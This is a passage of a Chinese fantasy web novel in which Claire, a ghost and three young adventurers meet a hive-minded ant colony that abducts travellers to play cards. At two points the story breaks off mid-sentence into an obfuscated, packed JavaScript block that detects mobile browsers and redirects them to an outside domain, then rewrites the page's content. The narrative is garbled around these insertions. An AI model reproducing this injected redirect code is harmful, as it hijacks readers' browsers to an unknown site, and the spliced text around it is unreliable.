她本来就拥有精灵族的外表——因为精灵寿命相对较短。她略带敌意和优越感地看着蒂娜，让蒂娜忍不住想要呲牙干架。 埃弗里把手按在蒂娜肩膀上，“鬼没有实体，无法被攻击。这也是她不可能是魔王的原因。” “还有，她们是灵体，可以拥有任意形态。意思是她们甚至可以变得比雅诺克拉山还要高，只不过体型越大越耗能罢了。回学校后你必须要补课了。” 蒂娜表情不服，却没说什么。 安西娅若有所思，“说到这个，伊尔卡拉你原本关在魔王城堡里的骷髅中，无论是主动关，还是被动关，你都肯定见过魔王，是什么让你打算替她顶罪呢？” “没有人说到这个！这个问题很突兀！你们难道没见过她？预言里没画她的样子吗？” 虽然知道她是在转移话题，安西娅还是解释了，“预言画走的不是写实派。现在轮到你回答了。” 伊尔卡拉还想要找话搪塞过去，被克雷尔阻止，她顿时明白没遮掩的必要了，后退一步，把主场让给克雷尔。 “如果这个房子的主人就是魔王的话，她确实见过，你们也见过——我是房子的主人，但我不清楚自己未来是不是魔王。” 克雷尔说完环视四周，可以预见，接下来会进行一场漫长的对话，她开始懊恼自己为什么没在这里摆放沙发，以至于她们只能站着。 她对还在消化信息量的三人组说，“我知道你们很费解，现在可以随意提问，我会回答的。” “骷髅……？” “只是陶瓷。” “黑暗？” “灯坏了。” “城堡？” “喜欢这种建筑风格。” “但是怎么和预言里一模一样啊！” “这也是我的疑惑。” 问答环节持续了半个小时，总算把情况梳理清楚了，三人你看看我，我看看你，大家的想法都差不多。 如果克雷尔真的是打算干坏事的魔王，肯定早就开始做了，她有这个能力。 她们给克雷尔看了随身携带的预言纸，然而无论怎么看，上面都是一片空白。 就和她们出发时一样，除了她们三个以外的其她人，都看不到上面的文字，所以没人相信她们的话。 本以为“魔王”亲自来看会有不同的。 埃弗里:“有可能是预言出错了，或者我们理解错了，考虑到香菜，后者的概率更高。预言放在精灵的圣地，我们一起过去，说不定一切都明朗了。” 安西娅也说:“你们有什么要带的东西吗？收拾一下，我们这就出发。” 其实没什么要收拾的东西，克雷尔看出她们三个有话要说，和伊尔卡拉一起离开了。 安西娅走到窗边拉开窗帘，室内稍微明亮了一些，可以勉强看清东西，她用一种今天天气不错的口吻说:“看来克雷尔是怕热不怕冷的类型。” 不然不会把房子建在山背面。 “不重要，你还有心思想这个，”埃弗里头疼，“香菜确实是我们理解有误，但尸横遍野……” 总不可能是被玩具麻醉刀捅，然后集体睡着了吧，会这样吗？太荒谬了。 安西娅摇头:“也有可能预言纸是假的，预言画也是假的，它们身上不止一个疑点，不是吗？” “难说，它已经成功预言了香菜了。” “只是这一个征兆而已。” 埃弗里:“还有这栋房子。它建于750年前，但预言出现在这个世界上，是在1000年前。这是第二个预言成功的。” 安西娅:“克雷尔先看过预言，然后建的房子，我觉得存在这个可能性。” “预言画一直保存在圣地，我刚才特意问了，克雷尔没见过。还有，记得吗？我们是第一个发现预言的人。” 克雷尔表现得也不像是提前知道预言的样子。 大厅里陷入一阵诡异的沉默。 “我并不想泼冷水，”埃弗里用力搓了搓脸，提起精神，“往好处想，至少我们知道了克雷尔是我们的朋友，而且她不想杀人，这绝对不是最差的结果，对吧？即使预言是真的，我们也可以提前应对。” 蒂娜有些泄气，直接一屁股坐在地上，“救命，我不要当英雌，也不要我的朋友当反派，就不能直接大团圆结局吗？！” 9. 计划外的失踪 “就不能直接用魔法传送吗？非要走路。” 已经分不清这是伊尔卡拉第几次抱怨了，明明她们刚开始赶路，还没走出多远。 克雷尔眼皮也不抬一下:“根本没有在走路的人、或者鬼，没资格抱怨。” 伊尔卡拉坐在克雷尔肩膀上——这么做是因为她和三人组不熟。 外套上一个多余的纽扣都没有，她只能勉强抓住一点领子。 对她来说，这个旅途，稍微有点……路途颠簸。 克雷尔走路时当然不会考虑她的感受。 “我从刚才就想问了，”埃弗里看了过来，“之前伊尔卡拉那样，是为了睡在骷髅里，不被克雷尔发现，现在为什么还要保持着巴掌大的体型？” “再小一点，我说话你们就听不清了，变得和你们一样大，我就要和你们一样走路了，我又不傻。” 蒂娜撇撇嘴:“体型越大越耗能，你是太弱了，根本没办法支撑和我们一样大的体型吧？” 伊尔卡拉不爽，她这几十年懒散度日是事实，以至于被比她小很多的家伙说弱，也找不出反驳的话。“克雷尔，你能用传送魔法吧？现在就把我们传送过去。” 克雷尔:“你是说带着三个未成年一起？” 如果有人会晕车，那她一定也会晕传送，不过，不晕车的人同样会晕传送。 把数天的路程浓缩为一瞬间，对传送者的身体有着非常高的要求，必须在成年后经过专业训炼，并不是说健康健壮就可以。 “对，传送，让她看看谁才是那个弱的人！” “你是灵体，当然不会受传送的影响，这证明不了你比她强。”克雷尔说话时，感觉被放在口袋里的羽毛笔戳了下手指。 在出发前，她在二楼的书房里找了半天，出于某种不太确定的预感，把黑鸭羽毛笔和酸浆果种子带上，总觉得会有用。 现在它们就在她的口袋里，随着她的步伐，发出沙沙的细微声音。 传送是个好主意。 同样是在出发前，安西娅提出，她们可以绘制出一张通往圣地的简易地图，再准备一封书信，让克雷尔带着信进行传送，这样人们看到信就会帮助她。 她们在经过讨论与思考之后，做出的决定是信任她，不过被她拒绝了。 克雷尔并不迫切地想知道真相。她确实想知道，但从心态上讲，她甚至还没有伊尔卡拉积极。 伊尔卡拉又说:“借个马车总行吧？这样太慢了。” “如果下一站能遇到村镇的话。” 和来时不同，她们现在不需要收集任何东西，一条路线直达蒂娜老家所在的精灵聚集地。选的是最快的路线，可以节省至少半个月的时间，弊端是一定程度上要抛弃便利性。 未经开拓过的路不是很好走，沿途也很少见到村镇。 在第七天，她们终于见到了村庄，并且成功借到了马匹和车。唯一的问题是，在听说她们要往北走、从那座山丘穿行过去之后，村民立刻变得不愿意租借了。 安西娅问:“那个山丘是有什么问题吗？” 村民们散去后，只留下一个中年人，看样子是负责为她们解疑答惑的。 她裹着厚厚的围巾，戴着皮手套，只露出一张皮肤黝黑的脸，她把马匹重新牵回马厩，塞上一捧干草后才说，“其实也不算大事，只是过去的人都会无故失踪而已。” “……” 对她们呆滞的反应感到满意，中年人得逞地笑了起来，脸上的皱纹一道接一道地舒展开。等她笑够了，就摘下手套，冲她们摆了摆手，示意她们先进屋取暖。 屋子很宽敞，摆放着一套足以容纳十几人的桌椅，绿格子桌布上摆放着茶壶，水汽升腾，墙上贴着一张值日表格，在今天的日期后面，字迹潦草地写着“威西尔利”。 这间房屋似乎是村子的待客室。 “真的不是什么大事，因为失踪的人往往在一天后，又会莫名出现在原本的地方。而且身上没有一点伤，连衣服都没多一个褶皱。” “然而无不精神涣散，失去了失踪当天的记忆，无论怎么问都问不出来，而后便陷入了长久的昏迷，只能把她们背回来。”今天负责值守的威西尔利女士，在成功调动听众的情绪之后，又幽幽补充，“大概长达十二个小时。” “？那不就是睡着了吗？”蒂娜心直口快。 “昏迷十二个小时之后呢？”埃弗里问。 “然后就醒了。醒来后也做过检查，身体各项数据都没任何异样。” 几人面面相觑。 最后还是安西娅开口问:“你们没有调查过吗？说是没有影响，但万一不是没有，而是暂时没检查出来呢？” “我们当然调查过，只是暂时没有结果，你知道的，记忆被清除的话，很难有进展。等到明天春天，我们会联系协会，让她们派人过来处理。” “为什么不现在就联系呢？” “冬天是个很无聊的季节，突然出了这么一档子事，不挺好玩的吗？”威西尔利摊了摊手，不以为意。 所以这是什么冬季游乐活动吗？ 多亏了她这句话，安西娅突然明白了，她之前说“身体没有异常”的真正含义。 意思是在大冬天，即使失踪了一天也没有冻伤；从莫名回到原位，到被村民发现带回，时间上肯定不是无缝衔接，同样没有受冻。 她貌似有点理解为什么她们会是这个态度了。 失踪肯定不是失踪，说是绑架更合适，但要说是绑架，对方又似乎没有恶意。 壁炉被烧得很旺，暖暖烘烘的，喝了口茶，从胃暖到体表，思路也变得清晰起来。 她在听完叙述后产生的担忧、疑虑情绪，村民们作为“失踪”事件的当事人，必然也有过，并且比她现在的，要强上许多倍。只是不知为何，演变成了“这不挺好玩的吗”。 安西娅捧着茶杯，看着威西尔利。她不觉得自己是一个天才，但如果把她们的轻松心态，归咎于没心没肺，那她会认为自己是个傻瓜。 “你们其实知道是怎么回事，对吗？”埃弗里代替她问出了这个问题。 “只是有些猜测而已。” 看表情，即使只是猜测，那也是八九不离十。 “所以你们过去了也会失踪的，我可不想在那一天半宿里，没人照顾我的马儿，等你们失踪回来后，再来问我借马匹吧。” 威西尔利为她们准备了留宿的房间，并询问她们什么出发，她好估算时间，到时候进山谷去把她们背出来。 她强壮且热心，看起来一次能背两个人，但埃弗里一点也不想有这种体验。 “这或许很好玩，但我不想玩。”埃弗里说，“伊尔卡拉，你怎么想？” “我觉得还行，说不定会好玩呢。” “我是问你对‘失踪’、或者说‘绑架’的想法，”埃弗里没有叹气，只是憋足气，灌了一大口红茶，然后继续，“能抹除记忆的种族不多，但我们的知识储备量可能不足，动用一下你脑子里的记忆图书馆吧。” 伊尔卡拉检索完资料说:“能做到这点的种族是不多， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559901|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且她们都没理由这么做，不过谁知道？说不定是某个家伙突发奇想。” “去看看不就知道了？”蒂娜跃跃欲试，“反正我们必须要经过那里，按威西尔利的说法，我们只要过去了就会被绑架。” 安西娅思索片刻，开口道:“克雷尔，你的想法是……” 克雷尔看出安西娅也有些意动，却担心因此耽搁时间。 她没怎么和孩子打过交道，不是很清楚，说不定天不怕地不怕和爱冒险是这个年纪的共性？ 她没理由否决，“其实我并不急着赶去精灵聚集地。” 于是很快拍板，蒂娜和埃弗里组队，先行进入山丘调查，安西娅负责隐蔽地跟随在她们身后。 克雷尔则是在村子里待命，如果在明天中午前没人回来，就去找她们，伊尔卡拉暂且忽略不计。 计划很粗糙，不过没有大问题。狩猎魔物时也是这个分工。 克雷尔猜测，是安西娅比较沉得住气，由她担任后备队员，不至于在队友突然失踪时慌了神，导致暴露。 只是她没想到，刚过去不到两个小时，下午茶时间都还没到，就有人慌里慌张地跑回村子。 慌了神跑回来报信的是蒂娜。 也就是说，按照计划“失踪”的人，变成了安西娅和埃弗里。 很怪，如果发现了安西娅在后面躲着，不是应该三个一起带走吗？ 威西尔利很惊讶:“我没跟你们说过，一次只会失踪两个人吗？” “我想没有。”克雷尔看了一眼蒂娜，而且没法解释为什么被撇下的是她。 是挑衅吗？ 蒂娜有些焦躁，更多的是不安，这可能是她第一次和同伴分开行动，更糟的是，这并非计划以内。 她的不安很快转变为愤怒，抱着那把黑剑气势汹汹地往外走，克雷尔马上跟了过去。 沿着村口的路往北走，四十分钟左右，就到了埃弗里她们失踪的地方。山丘不怎么高，上面种了一些果树，土壤松软，可以看到地上的脚印是突然消失的。 克雷尔蹲下身捡起一块小石子，掂了掂重量，又丢了回去，她示意蒂娜跟她一起下山，直到来到山丘陡峭的背面。 她让蒂娜用剑背从左到右敲击石壁，直到听到石壁中空的咚咚声才停下。 “虽然我知道答案，但以防万一，你们那流行玩迷宫游戏吗？” 蒂娜摇头。 克雷尔:“好吧，这可不太妙。” “我觉得事情不会更糟了。”埃弗里抬着头说。 昏迷后被带到了未知的地方，听起来像是个恐怖故事的开端。但如果是被带到了未知的地底呢？ 现在她抬起头就可以看到蜿蜒的树根。 “我不想拆台，但这真的不算最糟糕的。”安西娅就躺在她旁边，目光盯着某一处，轻声说。 顺着她的目光看过去，门口——如果称之为门的话，站着三四十人，她们有着完全相同的身高、体型、外貌。 “你好，我叫赫罗纳。” 声音并非来自于某一个人，而是她们的异口同声，整齐得像是被刀切开的洋葱切口，带有某种奇异的令人眩晕的特质。 埃弗里感觉自己连站起来的力气都没有。 从那三四十人中走出一个，她蹲在两人面前，牵动嘴唇，露出了一个亲切的笑容。 如果她们的嘴唇两侧、本该是酒窝的地方，没有长着两颗长獠牙的话，埃弗里会觉得亲切的。 “我没有恶意，你来陪我玩个游戏。”她对两人说。 10. 蚁群 安西娅盯着她的獠牙看了许久，问:“赫罗纳……蚁群？” 对方点了点头，“我是这里的第五代蚁群。” “我是安西娅，那个是埃弗里，很荣幸被邀请到了这里，如果提前告知，让我们有个准备就更好了。”安西娅面带微笑，滴水不漏地刺了对方一下。 她知道赫罗纳不可能听懂她的潜台词。 虽说语言是互通的，但各种族内部常用的语言形式，其实各有特点。比如，蚁群没有人称复数的说法。 只有“我”，没有“我们”，在她们内部，也不存在第二人称“你”。 因为蚁群这个整体本身就是一个“我”。 同时，蚁群内部的每一只蚂蚁也是“我”。 “个体即集体，集体即个体”，是蚁群这个种族最大的特点。 通识课的老师花了足足三节课来讲蚁群，安西娅很庆幸自己认真听了。 当时老师为了方便她们理解，用了一个又一个比喻，又不停地给每一个比喻打补丁，为了让它们更贴切。 让安西娅印象最深的比喻是“大脑和脑细胞”。大脑是我，组成大脑的每一个脑细胞也是我——大致是这个意思。 和大脑不同，蚁群中的每一个组成的个体，都有着思维能力，只是她们思维互通。 世上存在真正的感同身受，至少在蚁群里存在。同一蚁群内部的个体站在一起，无需交流，无需共振，就能做到。她们感知对方，就像是感知在这具身体以外的另一个自己。 虽然安西娅在那门课上拿了接近满分的成绩，但真正面对蚁群时，她不得不承认，自己知道的不多，并且对于已知道的那部分，也只是一知半解。 她甚至不知道该怎么和对方对话。 幸好赫罗纳主动开口了。“我听懂了你说的话，虽然语调很奇怪，我不确定。要玩游戏吗？你。” 在发“你”这个音时，她有些停顿，发音也不准确。 思维可以互通，所以她知道这个音节的意思，但发音的准确度，更多的取决于发声器官。看来是不常发这个音节。 没怎么和其她种族交流过吗？安西娅想。 “你是新的赫罗纳？”她特意没用出生或是孵化，而是换了个比较好理解的说法。 “我是上个月的。” 上个月刚出生，但是和别的蚁一模一样？ 好吧，蚁群的未成年比人类未成年长得还快。 从外表区分不出成年与否，更区分不出其中的某个个体是蚁王、工蚁，还是守卫蚁。 她们都有着一头红发——也有可能是橙色，如果光线不够亮，头发太短，就很难区分出那细微的区别——还有一模一样的外貌，她们还都叫赫罗纳。 如果连外表和思维都别无二致，区分其实意义不大，谁知道呢？ “我不知道，我上课时没有好好听！”蒂娜一屁股坐在地上。 克雷尔在一旁的石墙上，刻下第三道斜杠，转头问:“为什么不好好听呢？” 她一定经历过很多次与同伴失散的危机时刻，所以才可以在这种情况下，用一种闲谈般的轻松口吻说话。 蒂娜做不到，她呛了回去:“难道你就好好听了吗？你不也找不到走出迷宫的办法！” “我听了，但你不能指望我记得几百年前上课的内容。” “不，你没听，”伊尔卡拉体贴地指出，“在上蚁群建筑课时你逃课了，和朋友一起。所以我在你朋友的记忆里，也检索不到走出迷宫的办法。” “即使我听了几百年前的课也没用，蚁群建造迷宫的工艺，不可能几百年都没有长进。” 伊尔卡拉充当捧哏:“老旧的课程应对不了多变的题型。” 蒂娜瞪了她们一眼，觉得不够，又狠狠瞪了一眼，她杵着她那把巨大的黑剑，“就不能暴力突破吗？” “埃弗里和安西娅应该和蚁群在一起，现在她们可能是客人，我们把这里拆了之后，她们估计就是人质了。”克雷尔说着，摸了摸手边的柱子。 她们不知道在迷宫里兜了多少圈，反正是第四次遇到这根柱子了。 又划了一道标记之后，把柱子抛在身后，继续向前走。 “这次尝试一律选择左手边的小路怎么样？”伊尔卡拉提议。 全员同意。 蚁群的迷宫是最复杂的，因为她们不用考虑“该怎么走出去”的问题——她们不会感知不到别的自己的位置，更不需要一份清晰明了的路线图。 只要蚁巢里有一个蚁在，她们就不可能通过不了迷宫。 蒂娜方向感很好，仅限于地上，想要找到地下迷宫的出口，比起聪明才智和记忆力，更需要一点运气。 碰巧就找到了出口，或者碰巧遇到了一个蚁，对方把她们带过去。 克雷尔觉得后者的可能比较大。 她高估了她们的运气。 在迷宫里停下休息两次，吃食物补充体力两次，她们进来时是下午，估计现在外面已经是深夜了。 又继续绕了几个弯，甚至她们自己都不确定，究竟是在前行还是原地打转。直到察觉前方有光亮，她们才彻底松了口气。 生活在地下的蚁群当然不需要光亮，但她们的“客人”可能需要。 克雷尔给自己一行人施加了隐形魔法，然后像散步一样慢吞吞地走进去，没蚁注意到她们。 蒂娜快步跑到石桌前，桌上放着许多纸片和茶点，石桌一侧坐着安西娅和埃弗里。 她凑得很近，细致地端详她们，在确认两个同伴没任何问题，只是神态有些疲惫后，才松了口气。 “新生的蚁王，和新生的守卫蚁？”克雷尔看了那群赫罗纳一眼，轻声说，“难怪我们在迷宫里绕了那么久都没人来。” 看来隐形状态可以说话，蒂娜又松了口气。 埃弗里正在谈论某次考试，老师把她的选择题B答案当成了D，少给她一分的事——天姥啊！蒂娜一点也不想听这个！ 她迅速离开了石桌，那几个蚁族倒是听得很认真，让她觉得匪夷所思。 “她们不都一模一样吗？你怎么知道她们是蚁王和守卫蚁？”她走到克雷尔身边问。 “一个能判断骨龄的小魔法，你不会想学的。”克雷尔不想解释太多，但她还是解释起来，“这么说可能有些不合适——如果把蚁群视作一个整体、一个人体。你的皮肤细胞二十八天更新迭代一次，胃细胞只需要七天，即使它们长得一模一样，也能以此推断出它们的身份。当然，只是比喻，蚁群个体的寿命没那么短。” “但是你说蚁王和守卫蚁都是新生的？” “是的，大量的新生，说明她们正处于种群的更新迭代期，所以才会‘绑架’。” 蒂娜感觉脑子晕晕乎乎，她假装自己听懂了其中的关联。 可能是夜深了，经过了一整天的神经紧绷，骤然松弛之后，又听了会儿枯燥的说明，她觉得眼皮有些重，于是眨了眨眼。 眨个眼能花多长时间？ 可当她把眼睛睁开时，却发现眼前的景象变了，石桌、土墙、头顶的树根、说话的埃弗里……全不见了，她明显位于一个四面是石墙的小房间。 身体上的异样，让她不得不注意到另一个事实——她正坐在地面上，手臂被绑在身后。 她往旁边看过去，如果不是腿没有知觉了，她一定会被惊得跳起来，克雷尔居然也被绑了。 她的五感足够敏锐，隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559902|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐约约听到了房间外的声音，埃弗里似乎是在和谁争吵，夹杂着什么东西被摔在桌面上的闷响。 这就够让人心烦意燥的了！不用想也知道，肯定和被绑起来的她们有关。 蒂娜焦急地想要挣脱绳子，除了磨得手臂火辣辣以外，没有任何收获，她不满地质问没有一点着急迹象的克雷尔:“你的隐形魔法有漏洞？” “我不至于犯这种错。她们确实看不到我们，也听不到我们的声音。” “那这是怎么回事？” “不过你知道，声音是通过声带和空气振动产生的，人在行走奔跑时也会带起空气流动……” 蒂娜知道她后半句打算说什么——蚁族能够捕捉到空气中的振动和化学信号。 隐形不能算失败，只能算半失败……可恶，根本没有区别！ “到现在你该告诉我，你的计划了吧？别说你没有料到隐形对蚁群不起作用！”蒂娜恼怒地说，显然认为，克雷尔是故意让她们被抓住的。 “真的没有料到，我知道这一点，但当时没想起来。”克雷尔和蒂娜大眼瞪小眼，然后突然笑了。 从表情看，她笑得很愉快，几乎是开怀大笑，“我是很厉害，但你该不会认为我是什么都懂、算无遗漏的人吧？” 蒂娜难堪地把头扭开。 想想在遇到克雷尔之后她们经历的事吧，再想想看克雷尔总是轻描淡写的轻松神态……她认为自己会那样想再正常不过。 克雷尔笑够了，“事实上，在我们那群朋友里，我是记性最差的那个。” “我可以作证。”伊尔卡拉帮她们解绳子，她体型可以随意变化，绳索对她没用，蚁群对把她绑起来没什么执念，似乎也不介意她帮助克雷尔和蒂娜挣脱。 所以她很轻易就解开了绳索。 蒂娜先被解开，站起身，第一时间冲向石门，作势要劈开，却被克雷尔制止。 “别担心，虽然在更新迭代期，蚁群向外探索的欲望，和攻击性都有所增加，但由于该时期的特殊性，她们反而会比以往更加谨慎，轻易不会爆发冲突。” 蒂娜明白克雷尔的意思——安西娅和埃弗里很安全。 她走到房间门前，外面有声音传进来，像是东西被摔在地上的闷声。 隔音似乎不太好。 所以，蚁群肯定早就感知到这边的空气振动了，却没有赶过来阻止她们挣开绳索。 绳索绑得不算紧，很容易解开；蚁群也没把她们分开关押；更早一些，威西尔利谈论绑架时的语气……一切都在向她说明，这其实不是件危险的、值得特别警惕的事情。 她一开始就明白，否则不会提出要进山谷，但真的和同伴失散后，哪怕并不危机，她还是会忍不住为之担忧焦躁。 外面的声音更清晰了。 是纸张被摔在桌子上的闷响，埃弗里说的话是“放过我们吧！我一次性上十节选修课的时候都没这么困。” 安西娅也说:“蚁群思维共通，你们一个庞大种群，来欺负我们两个人，未免太仗势欺人了！” 安西娅的声音听起来比以往任何时候都更无力，听到最后那个词，蒂娜几乎要冲出去了。 然后蒂娜听到了一个笑吟吟的声音:“放过你？我还没玩够呢。” 但那人突然话锋一转，同时转过身来，“放了她两也可以，你两个陪我玩。” 后一句是对着绷着一张脸冲出来的蒂娜，和慢悠悠走出来的克雷尔说的，目光充满了势在必得。 当她微笑时，脸颊上长长的獠牙也会跟着向上移动。 蒂娜怒视着她:“不管你要玩什么把戏，我都奉陪！” “不玩把戏，玩游戏，打扑克牌，会玩吗？” 11. 扑克牌和旧友 克雷尔很少会怀疑自己的听力。 现在除外。 她还没来得及问出声，就听到身旁的蒂娜重复了那个词，气势汹汹:“打扑克牌？打扑……好啊，不就是打架吗？我跟你打！你们居然围殴我的朋友，我要替她们报仇！” 克雷尔阻止了她，“她说的应该是桌子上的纸牌，不是要扑过来打架。” 虽然绑架她人只是为了玩牌，听起来可信度不高，但看着每人手里都抓着一把牌、桌面上还堆着一堆牌的情景，她实在没办法否定这个可能。 克雷尔说:“她们确实很累了，我们可以接替她们陪你玩，不过请先说明规则。” 赫罗纳立刻把安西娅和埃弗里手里的牌收走，就连最好胜的埃弗里，都没有对此表示不满，反而一副解脱的表情。 她飞快地洗了牌，介绍说:“一共五十四张，不过每局开始前，我会随机抽取几张丢掉，防止有人利用概率学作弊。” 安西娅:“意思是防止赫罗纳——赫罗纳蚁群作弊。” 她顺便介绍了一下蚁群的名字，然后说:“不过我觉得，她们的种族特性本身就是在作弊了。” 没有一个赫罗纳否认，“我很抱歉，但我没办法取消。” 赫罗纳说完，转向克雷尔，开始讲述扑克牌的几种玩法——和克雷尔前世的大同小异——然后让她们选择自己感兴趣的玩法。 “感觉有点像石子棋，但简单多了，”蒂娜仍有些怀疑，她看了神情疲惫的安西娅和埃弗里好几眼，“你难道是想说她们这样，也只是玩牌玩的？” 安西娅苦笑:“对我们宽容些吧，如果你玩了一夜的牌，并且对手是一整个种群，你也会和我们一样。” 她们起初并不打算真的玩游戏，只是为了周旋，才拿起扑克牌，然后发现，里面的黑桃形状和银片一模一样，这才勉强认真起来。 但蚁群真的太作弊了。 她们内部没办法玩牌，因为对方牌面上出现的内容，也会如实出现在自己脑中；对方打算出什么牌，在没出之前，自己也知道得清清楚楚。 所以只能和其她种族玩，并且需要两个别的种族。 但别的种族可能不太情愿，谁乐意玩一个自己一直输的游戏呢？ 表面上看，对手只是一个蚁族，实际上是在和一整个蚁群斗智斗勇，用个体对抗群体的智慧，如果有人能做到取胜，请一定要开班教学。 “所以绑架她人，也只是为了让她们陪你玩牌？”克雷尔问。 “玩牌，还有说话。我没办法和我交流，因为好多个我加在一起，是一个‘思维’。但我要和外界交流，我要和别的‘思维’交流。” 每个蚁群都可以看做一个个体，王蚁、守卫蚁、工蚁的更新换代类似于器官的重生。 当所有“器官”都更新换代完成，那时她们、或者说她，会抛弃原来的名字，成为一个全新的蚁群。 好吧，作为个体之间相独立的种族中的一员，克雷尔很难完全理解蚁群的生存逻辑，非要深究，只会给自己徒增烦恼。 不过有一点是肯定的，现在正处于那个关键时期。 她们不是章鱼，不存在记忆传承，思维共通确实很厉害，但一群新生的“婴儿”思维共通，恐怕没什么用。 所以，在这个时期，理所当然的，她们会迫切需要与外界沟通。 她都有点理解为什么不直接交流，而是要边玩牌边聊了。 她们和其她种族交流磕磕绊绊，聊天很困难，但如果有别的东西可以让其她种族分一下神，那点磕绊也就没那么难以忍受了。 而且都不用专门找话题——“我不该出这个的”“我就剩两张牌了”，对话自然而然就进行下去了。 这只是刚出生的赫罗纳的天真预想，实际上远没那么顺利。 “为什么不玩石子棋呢？”蒂娜从口袋里掏出了石子。 “太简单了，石子棋。”赫罗纳说。 “哈？” “只要熟悉了对方的棋路，并且在脑海里预演出所有的可能，想赢太轻松了。但扑克牌不一样，洗牌发牌具有随机性，如果牌非常非常的差，即使是我，也有可能会输。” 蒂娜有点不高兴，不是因为她说石子棋简单，而是赫罗纳在开局之前，就默认了她一定会赢，除非牌非常差。 蒂娜觉得自己被挑衅了。 克雷尔却在想，作为一个上个月才诞生的蚁族，她的嘴皮子有点过于流利了。 埃弗里和安西娅去休息了，如果她们在的话，埃弗里就会立刻指出，赫罗纳只是把她先前说过的话复述了一遍而已。 蒂娜在石桌后面坐下，一边抓牌，一边嘟嘟囔囔地说:“我就不信了。” 她出了个三，克雷尔紧随其后，跟了个七，赫罗纳跟了个八。 蒂娜问:“诱饵是我和埃弗里，为什么被带走的是安西娅，而不是我？” 问题不重要，但她想不通。 “安西娅看起来比你，更会玩牌。” “太没礼貌了！” 赫罗纳:“是真的，你出局了。” “这么快？”蒂娜腾地站起来，又坐下，疑惑地说，“你诈我？刚才的规则有说游戏是出局制的吗？” “没有，但我已经赢了。”赫罗纳说着，向她们展示了手里的牌。 克雷尔把手里的一大把牌丢进牌堆，无视蒂娜不满的眼神，开始洗牌。 蒂娜嘟囔着:“我从来不知道，蚁群内部居然发明了这么个游戏。” 那才不是蚁群发明的。不过克雷尔很感激蒂娜开启了这个话题。 她曾经突发奇想，在这个世界复刻前世的东西，大多数都失败了，扑克牌则因为简单成功了。 她和朋友们玩过几局，但就像石子棋是精灵限定一样，没能流行起来，只有少数几个人玩过而已。 她也很好奇扑克牌是怎么跑到了蚁群这儿。 她之所以立刻就同意接替安西娅她们继续玩牌，也是出于此。 果然赫罗纳解释道:“不是我，我妈说过，游戏是别的种族告诉我姥姥的。” 剧情过于眼熟，蒂娜摸了摸黑剑，反问:“在八百年前？” 赫罗纳仔细想了想，“不知道，不过我在找墙上的记录，哦，是八百七十七年前。” 克雷尔和蒂娜对视了一眼。 蒂娜又问:“你的姥姥听说过魔王吗？” 赫罗纳沉默了更长时间，然后摇头:“我不知道。” “好奇怪。”蒂娜喃喃自语。 克雷尔不觉得奇怪，答案一直很清楚，只是她一直克制自己，不要往那方面想而已。 她已去世的朋友们，在这场关于魔王的冒险故事里，出现的频率有点过于高了。 其实很明显了不是吗？ 扑克牌、香菜、黑桃形状……知道她前世的东西，并且参与了城堡建造的人，还能有谁呢？ “那个人是精灵吗？”克雷尔问。 她有一个爱开玩笑的精灵朋友。 赫罗纳说:“不是，是狼，我讨厌狼的味道。” 是的，她也有狼人朋友。 “看来是团伙作案。”克雷尔觉得，自己应该用一种轻松愉快的语气说出这句玩笑话，但实际上，话出口后，蒂娜担忧地看了她好几眼。 口袋里的羽毛笔还在戳，只是现在变得难以忍受。 现在她真的不用急着去圣地了。 她甚至愿意和蚁群打上三天三夜的牌。 蒂娜贴过来，低声询问:“怎么了，你猜出那个人是谁了吗？预言是假的，是不是？那个作案团伙是想害你吗？通过我们？” 她一连问了好几个问题，克雷尔一个一个回答:“是的，猜出来了。预言是假的，应该是。没有任何人想害我。” 她不是一个记忆力好的人。 可即使是在她们去世数百年之后，克雷尔依旧能够清晰地回想起，她们每个人的性格。 她很了解她们，正如她们也很了解她。 所以她隐隐约约可以猜到一点内情，她们想做什么，又为什么这么做。 她还可以直接问伊尔卡拉，验证自己的想法，只要张一下嘴，就什么都能知道了。 无论是扑克牌、黑剑、城堡门锁、银片，还是“预言”。 但她没有问。 蒂娜倒是因为她的话而彻底松了口气，然后缠着伊尔卡拉，不停地要求她替她玩牌。 “你不是有千年来所有去世的人的记忆吗？人数上碾压蚁群，该你上场了！这是一场团队赛！” “用脚趾头想都知道，我的记忆图书馆，和蚁群的思维互通不一样。”伊尔卡拉不耐烦地说，“我拥有的只是记忆而已，你不能指望一段记忆活过来，然后给我出谋划策吧？” 话虽如此，她还是坐到了蒂娜的肩膀上，指点她出牌。 果不其然，还是输了。 又来了几局，输赢已定的牌局实在没什么意思，蒂娜不服，要求玩石子棋。 石子棋刚开始时，蒂娜漫不经心地喝着蜜水，不假思索地落子，总是能轻松取胜。 渐渐，一局棋花费的时间越来越长，她的表情越来越严肃，不允许任何人和她说话，扰乱她的思路。 伊尔卡拉跳到其中一个赫罗纳肩上，贴着耳朵和她聊天，试图扰乱敌方思绪，给我方增加优势。 克雷尔打了个招呼，先去休息了，她觉得自己今天格外疲倦。 为了防止她再次迷路，一个赫罗纳在前面为她引路，绕过不知道多少个弯，终于抵达客房。 床是圆形的，木头纹理，没有拼接痕迹，像是斩断的木桩。 壁炉里燃烧着一种类似树胶的东西，没有味道，也没有热度，凑近只会感到有细风从火焰中吹来，抚在脸上——土地之下缺乏氧气，所以蚁族会人工创造重氧环境，以维持与其她种族相似的体型。 